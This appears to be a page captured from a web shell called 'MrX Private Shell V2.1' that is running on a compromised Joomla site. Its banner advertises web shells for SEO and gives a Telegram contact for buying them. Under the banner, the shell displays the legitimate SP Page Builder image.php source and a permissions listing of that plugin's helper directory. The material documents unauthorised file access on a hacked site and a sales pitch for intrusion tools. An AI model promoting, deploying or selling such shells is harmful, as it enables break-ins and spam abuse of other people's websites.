__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2025 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct access
defined('_JEXEC') or die('Restricted access');
class SppagebuilderHelperImage
{
public $height;
public $width;
private $src;
public function __construct($src = '')
{
$this->src = $src;
list($this->width, $this->height) = getimagesize($src);
}
public function getDimension()
{
return [$this->width, $this->height];
}
/**
* Create thumb image with specifice height and width and with their ratio
*/
public function createThumb($size, $destination, $base_name, $ext, $quality = 100)
{
$img = $this->createImageFromType($ext);
if (count((array) $size) && $img != null)
{
$targetWidth = $size[0];
$targetHeight = $size[1];
$ratio_thumb = $targetWidth / $targetHeight;
$ratio_original = $this->width / $this->height;
if ($ratio_original >= $ratio_thumb)
{
$height = $this->height;
$width = ceil(($height * $targetWidth) / $targetHeight);
$x = ceil(($this->width - $width) / 2);
$y = 0;
}
else
{
$width = $this->width;
$height = ceil(($width * $targetHeight) / $targetWidth);
$y = ceil(($this->height - $height) / 2);
$x = 0;
}
$targetWidth = (int) $targetWidth;
$targetHeight = (int) $targetHeight;
$new = imagecreatetruecolor($targetWidth, $targetHeight);
if ($ext == "gif" or $ext == "png")
{
imagecolortransparent($new, imagecolorallocatealpha($new, 0, 0, 0, 127));
imagealphablending($new, false);
imagesavealpha($new, true);
}
imagecopyresampled($new, $img, 0, 0, $x, $y, $targetWidth, $targetHeight, $width, $height);
$dest = $destination . '/' . $base_name . '.' . $ext;
$this->cloneImage($ext, $new, $dest, $quality);
return true;
}
return false;
}
/**
* Clone Image from original to destination source based on extension
*/
private function cloneImage($ext, $new, $dest, $quality)
{
switch ($ext)
{
case 'bmp':
imagewbmp($new, $dest);
break;
case 'webp':
imagewebp($new, $dest, $quality);
break;
case 'gif':
imagegif($new, $dest);
break;
case 'jpg':
imagejpeg($new, $dest, $quality);
break;
case 'jpeg':
imagejpeg($new, $dest, $quality);
break;
case 'png':
imagepng($new, $dest, floor($quality / 11));
break;
}
}
/**
* Create Image from their specific extension
*/
private function createImageFromType($ext)
{
$img = null;
switch ($ext)
{
case 'bmp':
$img = imagecreatefromwbmp($this->src);
break;
case 'webp':
$img = imagecreatefromwebp($this->src);
break;
case 'gif':
$img = imagecreatefromgif($this->src);
break;
case 'jpg':
$img = imagecreatefromjpeg($this->src);
break;
case 'jpeg':
$img = imagecreatefromjpeg($this->src);
break;
case 'png':
$img = imagecreatefrompng($this->src);
break;
}
return $img;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| tweet | Folder | 0775 |
|
|
| addon-helper.php | File | 9.79 KB | 0664 |
|
| ajax.php | File | 24.73 KB | 0664 |
|
| articles.php | File | 16.06 KB | 0664 |
|
| assets-css-parser.php | File | 1.97 KB | 0664 |
|
| auth-helper.php | File | 3.77 KB | 0664 |
|
| autoload.php | File | 3.21 KB | 0664 |
|
| constants.php | File | 322 B | 0664 |
|
| css-parser.php | File | 9.88 KB | 0664 |
|
| helper.php | File | 75.76 KB | 0664 |
|
| image.php | File | 3 KB | 0664 |
|
| integration-helper.php | File | 1.04 KB | 0664 |
|
| k2.php | File | 8.11 KB | 0664 |
|
| rate-limiter.php | File | 2.48 KB | 0664 |
|
| route.php | File | 2.57 KB | 0664 |
|